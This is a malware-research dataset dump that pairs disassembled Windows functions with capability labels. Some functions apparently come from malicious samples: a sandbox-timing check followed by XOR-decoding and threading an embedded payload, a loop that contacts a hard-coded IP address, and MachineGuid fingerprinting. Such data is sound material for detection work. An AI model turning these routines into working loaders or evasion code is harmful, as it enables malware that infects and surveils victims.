joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001df0
Capabilities:
Initialize winsock library
Resolve dns
Terminate process

Disassembly:
push rbx
sub rsp, 0x2c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rax, str.46.174.53.204
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x60], 0x6987
mov byte [rsp + 0x40], 0
mov qword [rsp + 0x58], 0x400
mov ecx, 0x202
lea rdx, [rsp + 0x110]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rbx, rax
test rax, rax
jne 0x140001e92
lea rdx, str.Fatal_error_in_host_name_resolving
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400010a0
lea rdx, [0x140001590]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea ecx, [rbx + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov ecx, dword [rcx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x78]
call fcn.140001620
nop
lea rcx, [rsp + 0x90]
call fcn.140001730
nop
mov ecx, 0x400
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x50], rax
mov ebx, 0x1c2
nop word [rax + rax]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0xe0]
call fcn.1400015f0
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140001010
nop
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x78]
call fcn.140001da0
nop
lea rcx, [rsp + 0x68]
call fcn.1400018d0
sub rbx, 1
jne 0x140001ee0
nop dword [rax + rax]
jmp 0x140001f50

Function at 0x140002a6c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002ab6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002ab6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002ab6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002ab6
cmp dword [rcx + 0x84], 0xe
jbe 0x140002ab6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002ab8
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Check for time delay via gettickcount
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov r9d, 0x2a
mov edx, 0x402
mov ecx, eax
lea r8d, [r9 - 0x13]
call qword [sym.imp.USER32.dll_PostThreadMessageW]
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
lea rcx, [rsp + 0x30]
lea rdx, [r9 - 1]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x1400011c8
cmp dword [rsp + 0x38], 0x402
jne 0x1400011c8
cmp qword [rsp + 0x40], 0x17
jne 0x1400011c8
cmp qword [rsp + 0x48], 0x2a
jne 0x1400011c8
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x28a
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0xfffffda8
sub ecx, ebx
add eax, ecx
cmp eax, 0x12c
jae 0x1400011c8
movsxd rcx, dword [0x140004044]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movsxd r8, dword [0x140004044]
lea rdx, [0x140004058]
mov rcx, rax
mov rbp, rax
call sub.VCRUNTIME140.dll_memcpy
movsxd rbx, dword [0x140004044]
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
xor edx, edx
mov rcx, rax
mov rsi, rax
lea r8d, [rdx + 0xa]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8, rax
test ebx, ebx
jle 0x14000111f
mov r9, rbx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov r8, rax
xor r9d, r9d
test ebx, ebx
jle 0x140001166
mov r10, rbp
lea r11, [0x140004048]
sub r10, r8
mov rdx, r8
mov eax, r9d
and eax, 0x80000007
jge 0x140001147
dec eax
or eax, 0xfffffff8
inc eax
movsxd rcx, eax
inc r9d
movzx eax, byte [rcx + r11]
xor al, byte [r10 + rdx]
mov byte [rdx], al
inc rdx
mov rax, rdx
sub rax, r8
cmp rax, rbx
jl 0x140001136
movsxd rax, dword [0x140004050]
test eax, eax
jle 0x14000119a
cmp dword [0x140004054], 0
jle 0x14000119a
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rcx + r8], rax
movsxd rcx, dword [0x140004054]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rcx + r8], rax
mov r9, r8
mov qword [rsp + 0x28], 0
lea r8, [0x1400011e0]
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x1400011c8

Function at 0x140001adc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b26
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b26
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b26
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b26
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b26
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b28
xor al, al
add rsp, 0x28
ret
Function at 0x2fc4de2d0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4decd2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc503108]
test eax, eax
je 0x2fc4ded6a
lea rax, [0x2fc5030e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc503110]
mov qword [rbp - 8], rax
jmp 0x2fc4ded4e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4ded42
cmp qword [rbp - 0x10], 0
je 0x2fc4ded42
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4ded08
lea rax, [0x2fc5030e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4ded6b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4dee70
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4dee98
mov eax, 0
jmp 0x2fc4deee6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4deec1
mov eax, 0
jmp 0x2fc4deee6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4deee1
mov eax, 0
jmp 0x2fc4deee6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x1800045b0
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0xa0
mov rax, qword [0x180081168]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov edi, r9d
mov r14, r8
mov ebx, edx
mov rsi, rcx
mov dword [rsp + 0x30], 0x20
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x30]
mov edx, 0xffff
mov rbp, 0xffffffffffffffff
mov r8d, 0x7008
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_setsockopt]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
xor r15d, r15d
mov dword [rsp + 0x44], r15d
mov qword [rsp + 0x48], 1
mov dword [rsp + 0x40], edi
mov edx, ebx
lea rcx, [rsp + 0x70]
call fcn.1800197d0
nop
lea rdx, [rsp + 0x70]
cmp qword [rsp + 0x88], 0x10
cmovae rdx, qword [rsp + 0x70]
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x180004736
mov rbx, qword [rsp + 0x38]
test rbx, rbx
je 0x18000472c
nop dword [rax]
nop word [rax + rax]
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800046d2
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18000471a
mov dword [rsp + 0x34], 1
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x34]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_setsockopt]
mov r8, rbx
mov rdx, rdi
mov rcx, r14
call fcn.1800093c0
test al, al
jne 0x18000479c
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x180004690
mov rbx, qword [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0x10
jb 0x180004772
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000476d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800047ac
call fcn.180039690
mov rax, rbp
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.180039e30
mov rbx, qword [rsp + 0xd8]
add rsp, 0xa0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov rbp, rdi
jmp 0x180004736
call fcn.18003fc9c
int3
Function at 0x180004b20
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x190]
sub rsp, 0x290
mov rax, qword [0x180081168]
xor rax, rsp
mov qword [rbp + 0x180], rax
mov r12, r9
mov rbx, r8
mov rsi, rdx
movzx r13d, cl
mov rdi, qword [rbp + 0x1f8]
mov qword [rsp + 0x68], rdi
xor r15b, r15b
lea r14, vtable.httplib::detail::SocketStream.0
cmp r8, 1
jbe 0x180004c2b
nop dword [rax]
test r13b, r13b
jne 0x180004bc1
mov qword [rsp + 0x78], rsi
mov dword [rsp + 0x70], 1
mov qword [rsp + 0x40], 5
lea ecx, [rsi + 1]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x180004c72
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r12
mov rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x60], rax
cmp rbx, 1
sete al
mov byte [rsp + 0x30], 0
mov byte [rsp + 0x38], al
mov rcx, qword [rdi + 0x38]
test rcx, rcx
je 0x180004cc3
mov rax, qword [rcx]
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
movzx r15d, al
test al, al
je 0x180004c29
cmp byte [rsp + 0x30], 0
jne 0x180004c29
sub rbx, 1
jne 0x180004b80
jmp 0x180004c72
jmp 0x180004c72
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r12
mov rax, qword [rbp + 0x1f0]
mov qword [rsp + 0x60], rax
mov byte [rsp + 0x38], 0
mov byte [rsp + 0x30], 1
mov rcx, qword [rdi + 0x38]
test rcx, rcx
je 0x180004cbd
mov rax, qword [rcx]
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
movzx r15d, al
mov rcx, qword [rdi + 0x38]
test rcx, rcx
je 0x180004c8f
mov rax, qword [rcx]
cmp rcx, rdi
setne dl
call qword [rax + 0x20]
mov qword [rdi + 0x38], 0
movzx eax, r15b
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.180039e30
mov rbx, qword [rsp + 0x2d0]
add rsp, 0x290
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180037474
nop
call fcn.180037474
int3
Function at 0x18000a8d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rcx
mov ecx, 0x40
call fcn.180039654
xorps xmm0, xmm0
mov dword [rsp + 0x58], 0x40
mov rdi, rax
lea r8, str.MachineGuid
mov r9d, 2
lea rdx, str.SOFTWAREMicrosoftCryptography
movups xmmword [rax], xmm0
mov rcx, 0xffffffff80000002
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov rcx, qword [rbx]
mov r9d, 0x40
mov rdx, qword [rbx + 8]
mov r8, rdi
sub rdx, rcx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call fcn.18001bf60
test rdi, rdi
je 0x18000a979
mov edx, 0x40
mov rcx, rdi
call fcn.180039690
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x180012a20
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rdi, rdx
mov rbx, rcx
xor ebp, ebp
mov dword [rsp + 0x20], ebp
mov qword [rcx + 0x10], rbp
mov qword [rcx + 0x18], select
mov byte [rcx], bpl
mov dword [rsp + 0x20], 1
lea rsi, [rdx + 0x10]
mov rdx, qword [rsi]
call fcn.180018d70
lea r15d, [rbp - 6]
mov r14, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x180012a84
mov r14, qword [rdi]
mov rdi, r14
mov r13, qword [rsi]
add r13, rdi
cmp r14, r13
je 0x180012b8f
lea r8, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
nop word [rax + rax]
shl ebp, 8
movzx eax, byte [r14]
add ebp, eax
add r15d, 8
js 0x180012b2d
movsxd r12, ebp
movsxd rdi, r15d
lea ecx, [r15 + 6]
mov eax, 0xaaaaaaab
mul ecx
shr edx, 2
mov esi, edx
imul eax, edx, 0xfffffffa
add r15d, eax
nop dword [rax + rax]
mov rax, r12
mov rcx, rdi
sar rax, cl
and eax, 0x3f
movzx r9d, byte [rax + r8]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x180012b0d
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x180012b02
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x180012b23
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rbx
call fcn.180002a60
lea r8, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
sub rdi, 6
sub rsi, 1
jne 0x180012ad0
inc r14
cmp r14, r13
jne 0x180012aa0
cmp r15d, 0xfffffffa
jle 0x180012b8f
lea ecx, [r15 + 8]
shl ebp, 8
movsxd rdx, ebp
sar rdx, cl
and edx, 0x3f
movzx r9d, byte [rdx + r8]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x180012b80
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x180012b75
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x180012b8f
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rbx
call fcn.180002a60
mov rcx, qword [rbx + 0x10]
test cl, 3
je 0x180012be0
nop dword [rax + rax]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x180012bc5
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x180012bbd
mov rax, qword [rbx]
mov word [rax + rcx], 0x3d
jmp 0x180012bd7
mov r9b, 0x3d
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rbx
call fcn.180002a60
mov rcx, qword [rbx + 0x10]
test cl, 3
jne 0x180012ba0
mov rax, rbx
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x180013200
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x180013234
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x180013220
ret
Function at 0x180013f90
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x4f0
mov rax, qword [0x180081168]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
mov qword [rsp + 0x40], rdx
lea r8, [rsp + 0x40]
mov rcx, qword [rcx + 8]
mov rbx, rdx
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x40], 0x80
call qword [sym.imp.WS2_32.dll_getpeername]
xor edi, edi
test eax, eax
jne 0x18001405d
xor edx, edx
lea rcx, [rsp + 0xd0]
mov r8d, 0x401
call fcn.18003be70
mov edx, dword [rsp + 0x40]
lea r8, [rsp + 0xd0]
mov dword [rsp + 0x30], 2
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], edi
mov r9d, 0x401
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_getnameinfo]
test eax, eax
jne 0x18001405d
mov qword [rbx + 0x10], rdi
lea rax, [rsp + 0xd0]
mov qword [rbx + 0x18], select
mov r8, 0xffffffffffffffff
mov byte [rbx], dil
inc r8
cmp byte [rax + r8], dil
jne 0x180014042
lea rdx, [rsp + 0xd0]
mov rcx, rbx
call fcn.1800128c0
jmp 0x18001406c
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], select
mov byte [rbx], dil
mov rax, rbx
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.180039e30
mov rbx, qword [rsp + 0x510]
add rsp, 0x4f0
pop rdi
ret

Function at 0x180014780
Capabilities:
Get socket status

Disassembly:
sub rsp, 0x268
mov rax, qword [0x180081168]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdx, qword [rcx + 0x18]
xor r9d, r9d
mov rax, qword [rcx + 0x10]
xor r8d, r8d
mov rcx, qword [rcx + 8]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x48], rcx
inc ecx
mov dword [rsp + 0x34], edx
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 1
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
setg al
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.180039e30
add rsp, 0x268
ret

Function at 0x180014810
Capabilities:
Get socket status

Disassembly:
sub rsp, 0x268
mov rax, qword [0x180081168]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rax, qword [rcx + 8]
lea r8, [rsp + 0x40]
xor ecx, ecx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], rcx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x40], 1
lea ecx, [rax + 1]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
test eax, eax
setg al
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.180039e30
add rsp, 0x268
ret

Function at 0x180015d30
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword [rcx]
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
call qword [rax + ioctlsocket]
test al, al
je 0x180015d75
mov rcx, qword [rbx + 8]
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.WS2_32.dll_recv]
mov rbx, qword [rsp + 0x30]
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x18001a410
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword [rcx]
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
call qword [rax + reloc.WS2_32.dll_recv]
test al, al
je 0x18001a455
mov rcx, qword [rbx + 8]
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.WS2_32.dll_send]
mov rbx, qword [rsp + 0x30]
mov eax, 0xffffffff
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x18001b0f0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x18001b121
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rdi
je 0x18001b19b
mov rdi, r14
mov rcx, rbx
call fcn.18000f440
test rax, rax
jle 0x18001b173
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.18003ba60
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x18001b18b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x18001b193
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x18001b135
sub r14, rdi
jmp 0x18001b288
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x18001b1b2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18001b1b4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x18001b1e9
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.18003ba60
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18001b285
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x18001b224
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x18001b260
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1800417d8
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x18001b2a6
cmp rbp, rax
ja 0x18001b230
mov r8, rdi
test rdi, rdi
je 0x18001b285
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1800417d8
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x30]
mov rax, r14
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
sub r14, rbp
jmp 0x18001b288